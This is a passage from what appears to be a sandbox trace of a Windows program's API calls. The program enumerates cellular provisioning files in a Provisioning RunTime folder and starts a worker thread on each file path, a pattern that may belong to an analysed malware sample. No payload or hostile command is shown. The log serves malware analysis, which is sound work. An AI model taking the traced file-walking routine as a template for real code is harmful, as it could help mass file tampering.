Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml" [0180.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff25d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0180.915] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91108ea4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91108ea4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91108ea4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x0, dwReserved1=0x0, cFileName="471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="471__C~1.PRO")) returned 1 [0180.940] wcscmp (_String1="471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.940] wcscmp (_String1="471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2fa3c10 [0180.940] wcscpy (in: _Dest=0x2fa3c10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.940] wcscat (in: _Dest=0x2fa3c10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.940] wcscat (in: _Dest=0x2fa3c10, _Source="471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml" [0180.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa3c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0180.941] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91108ea4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91108ea4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91108ea4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x0, dwReserved1=0x0, cFileName="472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml", cAlternateFileName="472__C~1.PRO")) returned 1 [0180.941] wcscmp (_String1="472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.941] wcscmp (_String1="472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.941] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2fa3d78 [0180.941] wcscpy (in: _Dest=0x2fa3d78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.941] wcscat (in: _Dest=0x2fa3d78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.941] wcscat (in: _Dest=0x2fa3d78, _Source="472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml" [0180.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa3d78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0180.942] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91108ea4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91108ea4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91108ea4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml", cAlternateFileName="473__C~1.PRO")) returned 1 [0180.942] wcscmp (_String1="473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.942] wcscmp (_String1="473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.942] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2fa2e00 [0180.942] wcscpy (in: _Dest=0x2fa2e00, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.942] wcscat (in: _Dest=0x2fa2e00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.942] wcscat (in: _Dest=0x2fa2e00, _Source="473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml" [0180.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0180.942] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91108ea4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91108ea4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9112f110, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml", cAlternateFileName="474__C~1.PRO")) returned 1 [0180.942] wcscmp (_String1="474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.942] wcscmp (_String1="474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.943] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2fa1ff0 [0180.943] wcscpy (in: _Dest=0x2fa1ff0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.943] wcscat (in: _Dest=0x2fa1ff0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.944] wcscat (in: _Dest=0x2fa1ff0, _Source="474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml" [0180.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa1ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0180.944] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9112f110, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9112f110, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9112f110, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml", cAlternateFileName="475__C~1.PRO")) returned 1 [0180.944] wcscmp (_String1="475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.944] wcscmp (_String1="475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.944] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2fa2158 [0180.944] wcscpy (in: _Dest=0x2fa2158, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.945] wcscat (in: _Dest=0x2fa2158, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.945] wcscat (in: _Dest=0x2fa2158, _Source="475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml" [0180.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0180.945] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9112f110, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9112f110, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9112f110, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="476__C~1.PRO")) returned 1 [0180.945] wcscmp (_String1="476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0180.945] wcscmp (_String1="476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0180.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x3059600 [0180.945] wcscpy (in: _Dest=0x3059600, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.945] wcscat (in: _Dest=0x3059600, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.946] wcscat (in: _Dest=0x3059600, _Source="476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0180.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3059600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0180.946] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9112f110, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9112f110, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9112f110, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="477__C~1.PRO")) returned 1 [0180.946] wcscmp (_String1="477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.946] wcscmp (_String1="477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.946] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x3059758 [0180.946] wcscpy (in: _Dest=0x3059758, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.946] wcscat (in: _Dest=0x3059758, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.946] wcscat (in: _Dest=0x3059758, _Source="477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml" [0180.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3059758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0180.947] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9115537f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9115537f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9115537f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34c, dwReserved0=0x0, dwReserved1=0x0, cFileName="478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="478__C~1.PRO")) returned 1 [0180.947] wcscmp (_String1="478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.947] wcscmp (_String1="478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.947] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15a) returned 0x2fa22c0 [0180.947] wcscpy (in: _Dest=0x2fa22c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.947] wcscat (in: _Dest=0x2fa22c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.947] wcscat (in: _Dest=0x2fa22c0, _Source="478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml" [0180.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa22c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0180.948] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9115537f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9115537f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9115537f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml", cAlternateFileName="479__C~1.PRO")) returned 1 [0180.948] wcscmp (_String1="479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.948] wcscmp (_String1="479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.948] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15a) returned 0x2fa2590 [0180.948] wcscpy (in: _Dest=0x2fa2590, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.948] wcscat (in: _Dest=0x2fa2590, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.948] wcscat (in: _Dest=0x2fa2590, _Source="479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml" [0180.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0180.949] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9026e179, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9026e179, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9026e179, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml", cAlternateFileName="47__CO~1.PRO")) returned 1 [0180.949] wcscmp (_String1="47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.949] wcscmp (_String1="47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.949] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f025a8 [0180.949] wcscpy (in: _Dest=0x4f025a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.949] wcscat (in: _Dest=0x4f025a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.949] wcscat (in: _Dest=0x4f025a8, _Source="47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml" [0180.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f025a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0180.950] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9115537f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9115537f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9115537f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x0, dwReserved1=0x0, cFileName="480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml", cAlternateFileName="480__C~1.PRO")) returned 1 [0180.950] wcscmp (_String1="480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.950] wcscmp (_String1="480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.950] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15a) returned 0x2fa26f8 [0180.950] wcscpy (in: _Dest=0x2fa26f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All 